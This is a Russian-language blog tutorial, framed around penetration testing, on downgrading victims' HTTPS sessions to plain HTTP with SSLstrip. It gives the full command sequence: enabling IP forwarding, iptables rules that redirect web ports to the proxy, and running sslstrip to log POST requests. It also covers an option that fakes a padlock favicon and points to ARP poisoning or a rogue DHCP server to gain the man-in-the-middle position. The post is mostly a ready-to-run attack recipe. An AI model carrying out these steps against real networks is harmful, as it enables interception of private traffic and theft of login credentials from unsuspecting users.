Обход HTTPS с помощью SSLSTRIP.

Во время тестирования на проникновение часто хочется посмотреть что же происходит в HTTPS сессиях между клиентом и сервером, а так же получить из этих сессий полезные данные.

Один из способов обхода HTTPS, чтобы перехватить трафик это разбить сессию пользователя на два участка, используя специализированный прокси-сервер.

Первый участок от клиента до прокси сервера будет идти по протоколу HTTP, а второй участок, от прокси до сервера будет проходить, как и должен, по шифрованному соединению.

[ad name=»MiBand2″]

В реализации такой атаки нам понадобится SSLstrip, который позволяет разрезать сессию на две части и перехватить трафик для дальнейшего анализа, а так же предоставлять автоматические редиректы на динамически создаваемые HTTP двойники страниц.

Установим требуемые пакеты:

apt-get install sslstrip

Далее разрешим пересылку пакетов:

echo "1" > /proc/sys/net/ipv4/ip_forward
Как включить постоянный форвардинг :
выполняем команду:
echo "1" > /proc/sys/net/ipv4/ip_forward

Для постоянного форвардинга открываем файл /etc/sysctl.conf и меняем (или раскомментировать) в нем строки:

net.ipv4.ip_forward=1
net.ipv6.conf.all.forwarding=1

после этого обновляем переменные:

sysctl -p /etc/sysctl.conf
проверить, включена ли пересылка пакетов можно командой:
cat /proc/sys/net/ipv4/ip_forward
если в ответ будет выведена цифра 1, то включена.

Теперь переадресуем пакеты, идущие на 80-й порт на порт нашего прокси (такие же правила можно включить и для других часто применяемых HTTP портов, таких как 8080, 3128 и т.д.):

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

где,
80 — стандартный HTTP порт;
8080 — порт, на котором будет работать SSLstrip.

Для нескольких портов правило будет выглядеть немного по другому:

iptables -t nat -A PREROUTING -p tcp -m tcp -m multiport --dports 80,8080,3128 -j REDIRECT --to-ports 8080

Не забывайте, что iptables сбрасывает правила при перезагрузке.

Для сохранения текущих активных правил воспользуемся утилитой iptables-save:

iptables-save > /etc/iptables/iptables.rules

данная команда сохранит активную конфигурацию в файл /etc/iptables/iptables.rules (естественно он должен быть доступен на запись).

И соответственно для восстановления:

iptables-restore < /etc/iptables/iptables.rules

Так же у iptables-save есть полезный параметр:

-t имя_таблицы — ограничиться конкретной таблицей.

А у iptables-restore несколько параметров:

-T имя_таблицы — ограничиться конкретной таблицей;
-n — не очищать таблицы перед восстановлением (только добавить правила).

Далее запустим

SSLstrip: sslstrip -w sslstrip.log -l 8080

Использованные параметры:
-w sslstrip.log файл лога, в который будет записываться все самое интересное.
-l 8080 порт, на котором будет работать прокси.

Остальные параметры, которые можно использовать:
-p — записывать только SSL POST запросы (используется по-умолчанию);
-s — записывать весь SSL трафик (от сервера и к серверу);
-a — записывать весь SSL и HTTP трафик (от сервера и к серверу)
-f — подменить иконку сайта на замок (имитация безопасных сайтов).
-k — Убить текущие активные сессии.

Остается только встать посередине между клиентом и маршрутизатором. Для этого потребуется провести какую-либо MitM атаку. Например ARP poisoning, которая описана в статье Проведение ARP poisoning атаки или Rogue DHCP Server, который описан в статье Yersinia —  Создание поддельного DHCP (Rogue DHCP) сервера.

Так же теперь множество трафика пойдет в открытом виде и его можно анализировать в различных сниффера и программах анализа, таких как: Ettercap, Wireshark, urlsnarf и т.д.

При подготовке статьи, использовались материалы сайта — http://blackdiver.net/it/linux/4027

Click to rate this post!
[Total: 21 Average: 3.6]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

1 comments On Обход HTTPS с помощью SSLSTRIP.

Leave a reply:

Your email address will not be published.